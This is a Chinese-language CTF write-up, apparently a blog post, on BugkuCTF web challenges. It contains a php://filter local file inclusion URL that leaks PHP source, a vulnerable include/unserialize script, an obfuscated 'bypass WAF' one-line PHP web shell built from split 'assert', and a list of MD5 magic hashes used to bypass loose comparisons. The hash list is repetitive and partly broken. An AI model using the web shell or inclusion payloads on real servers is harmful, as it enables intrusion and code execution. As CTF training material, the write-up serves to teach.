bugkuctf wp

welcome to bugkuctf

10651191-a966a46b4a760043.png
源代码

ctrl + U查看页面源代码, 如果有 $userfile_get_contents($user, 'r') 的 值是 指定的字符串。 就会 include $file 的内容 。 并且提示是 hint.php这个文件

这里涉及到一个怎么把 get 方法传入的参数作为一个文件打开。

php伪协议

这里用到了 php://input

10651191-abf093d0b999015b.png
伪协议

但是。。


10651191-865fc538e247d441.png

这就要用到第二个伪协议:
php://filter

我那样传递参数会报错, include($file) 只是把 $file 这个变量当作文件名包括进去了。 就是含在源代码里, 不是简单地构造一个参数就能达到的。

10651191-eabd5e3d3fd91095.png
php://filter协议

这就是一个泄露了源码的漏洞了。

最后构造的URL如下:
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

惊叹。
base64 解密之后的源代码。

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>   

代码里面构造了一个类。
公有变量是 $file

继续看一下 index.php 的源代码


<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->   

有几个地方暂时写不到位, 先到这里好了。

过狗一句话

很蒙

<?
php $poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
 ?>

上面是题目提示的过狗一句话代码。
然后...后面的不会了


10651191-5e14bf83c6761c80.png
image.png

10651191-180727cac3e6accb.png
flag

字符,正则?

10651191-e0f923bc5975d7f8.png
flag

前女友

一道很有趣的题目, 就不说题目了, 直接放我的测试代码

<?php
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    echo "$v1</br>";
    var_dump($v1);
    echo "</br>";
    echo md5($v1)."</br>";
    echo "$v2</br>";
    echo md5($v2)."</br>";
    if($v1 != $v2 && md5($v1) == md5($v2)){
        echo "true";
    }
    else
    {
        echo "false";
    }
}

?>

10651191-4d5ff01e48d389a2.png
测试结果

也是第一次发现get还能传递数组(不过当然是一堆的错误)

MD5 collision

还不太清楚MD5 碰撞是啥, 以后补坑

payload
120.24.86.145:9009/md5.php?a=s878926199a

常用的MD5碰撞

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

参考资料

https://blog.csdn.net/wy_97/article/details/77431111
https://www.cnblogs.com/Pinging/p/8278168.html
https://blog.csdn.net/qq_19861715/article/details/79384018

https://blog.csdn.net/qq_39629343/article/details/80696263

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值